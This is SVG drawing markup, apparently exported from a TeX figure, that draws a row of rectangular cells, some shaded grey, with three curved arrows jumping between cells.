<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 56.691625 0.0006875 L 56.691625 28.348344 L 62.3635 28.348344 L 62.3635 0.0006875 Z M 56.691625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 62.3635 0.0006875 L 62.3635 28.348344 L 68.031469 28.348344 L 68.031469 0.0006875 Z M 62.3635 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 68.031469 0.0006875 L 68.031469 28.348344 L 73.699438 28.348344 L 73.699438 0.0006875 Z M 68.031469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 73.699438 0.0006875 L 73.699438 28.348344 L 79.371313 28.348344 L 79.371313 0.0006875 Z M 73.699438 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 79.371313 0.0006875 L 79.371313 28.348344 L 85.039281 28.348344 L 85.039281 0.0006875 Z M 79.371313 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 85.039281 0.0006875 L 85.039281 28.348344 L 90.70725 28.348344 L 90.70725 0.0006875 Z M 85.039281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 0.0006875 L 181.418187 28.348344 L 187.086156 28.348344 L 187.086156 0.0006875 Z M 181.418187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 187.086156 0.0006875 L 187.086156 28.348344 L 192.754125 28.348344 L 192.754125 0.0006875 Z M 187.086156 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 192.754125 0.0006875 L 192.754125 28.348344 L 198.426 28.348344 L 198.426 0.0006875 Z M 192.754125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 198.426 0.0006875 L 198.426 28.348344 L 204.093969 28.348344 L 204.093969 0.0006875 Z M 198.426 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 204.093969 0.0006875 L 204.093969 28.348344 L 209.761937 28.348344 L 209.761937 0.0006875 Z M 204.093969 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 209.761937 0.0006875 L 209.761937 28.348344 L 215.433812 28.348344 L 215.433812 0.0006875 Z M 209.761937 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 215.433812 0.0006875 L 215.433812 28.348344 L 221.101781 28.348344 L 221.101781 0.0006875 Z M 215.433812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 221.101781 0.0006875 L 221.101781 28.348344 L 226.76975 28.348344 L 226.76975 0.0006875 Z M 221.101781 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 226.76975 0.0006875 L 226.76975 28.348344 L 232.441625 28.348344 L 232.441625 0.0006875 Z M 226.76975 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 232.441625 0.0006875 L 232.441625 28.348344 L 238.109594 28.348344 L 238.109594 0.0006875 Z M 232.441625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 238.109594 0.0006875 L 238.109594 28.348344 L 243.777562 28.348344 L 243.777562 0.0006875 Z M 238.109594 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 243.777562 0.0006875 L 243.777562 28.348344 L 249.449437 28.348344 L 249.449437 0.0006875 Z M 243.777562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 249.449437 0.0006875 L 249.449437 28.348344 L 255.117406 28.348344 L 255.117406 0.0006875 Z M 249.449437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.117406 0.0006875 L 255.117406 28.348344 L 260.785375 28.348344 L 260.785375 0.0006875 Z M 255.117406 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 260.785375 0.0006875 L 260.785375 28.348344 L 266.45725 28.348344 L 266.45725 0.0006875 Z M 260.785375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 266.45725 0.0006875 L 266.45725 28.348344 L 272.125219 28.348344 L 272.125219 0.0006875 Z M 266.45725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 0.0006875 L 272.125219 28.348344 L 277.793187 28.348344 L 277.793187 0.0006875 Z M 272.125219 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 277.793187 0.0006875 L 277.793187 28.348344 L 283.465062 28.348344 L 283.465062 0.0006875 Z M 277.793187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 283.465062 0.0006875 L 283.465062 28.348344 L 289.133031 28.348344 L 289.133031 0.0006875 Z M 283.465062 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 289.133031 0.0006875 L 289.133031 28.348344 L 294.801 28.348344 L 294.801 0.0006875 Z M 289.133031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 294.801 0.0006875 L 294.801 28.348344 L 300.472875 28.348344 L 300.472875 0.0006875 Z M 294.801 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 300.472875 0.0006875 L 300.472875 28.348344 L 306.140844 28.348344 L 306.140844 0.0006875 Z M 300.472875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 306.140844 0.0006875 L 306.140844 28.348344 L 311.808812 28.348344 L 311.808812 0.0006875 Z M 306.140844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 311.808812 0.0006875 L 311.808812 28.348344 L 317.480687 28.348344 L 317.480687 0.0006875 Z M 311.808812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 317.480687 0.0006875 L 317.480687 28.348344 L 323.148656 28.348344 L 323.148656 0.0006875 Z M 317.480687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 323.148656 0.0006875 L 323.148656 28.348344 L 328.816625 28.348344 L 328.816625 0.0006875 Z M 323.148656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 328.816625 0.0006875 L 328.816625 28.348344 L 334.4885 28.348344 L 334.4885 0.0006875 Z M 328.816625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 334.4885 0.0006875 L 334.4885 28.348344 L 340.156469 28.348344 L 340.156469 0.0006875 Z M 334.4885 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 340.156469 0.0006875 L 340.156469 28.348344 L 345.824437 28.348344 L 345.824437 0.0006875 Z M 340.156469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 345.824437 0.0006875 L 345.824437 28.348344 L 351.496312 28.348344 L 351.496312 0.0006875 Z M 345.824437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 351.496312 0.0006875 L 351.496312 28.348344 L 357.164281 28.348344 L 357.164281 0.0006875 Z M 351.496312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 357.164281 0.0006875 L 357.164281 28.348344 L 362.83225 28.348344 L 362.83225 0.0006875 Z M 357.164281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 28.348344 C 50.027563 78.371781 131.390844 78.371781 176.293187 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.146898 0.00206566 L 0.197298 1.786423 L 0.20006 -0.000696507 L 0.20006 -1.785053 Z M 7.146898 0.00206566 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,176.42153,45.02992)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 28.348344 C 206.429906 53.360062 247.1135 53.360062 267.000219 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.145923 0.00109072 L 0.199085 1.78821 L 0.199085 -1.786028 Z M 7.145923 0.00109072 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,267.12994,45.02992)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 28.348344 C 297.136937 53.360062 337.820531 53.360062 357.711156 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.144956 0.000122861 L 0.198117 1.787242 L 0.200879 0.000122861 L 0.198117 -1.786996 Z M 7.144956 0.000122861 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,357.83834,45.02992)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
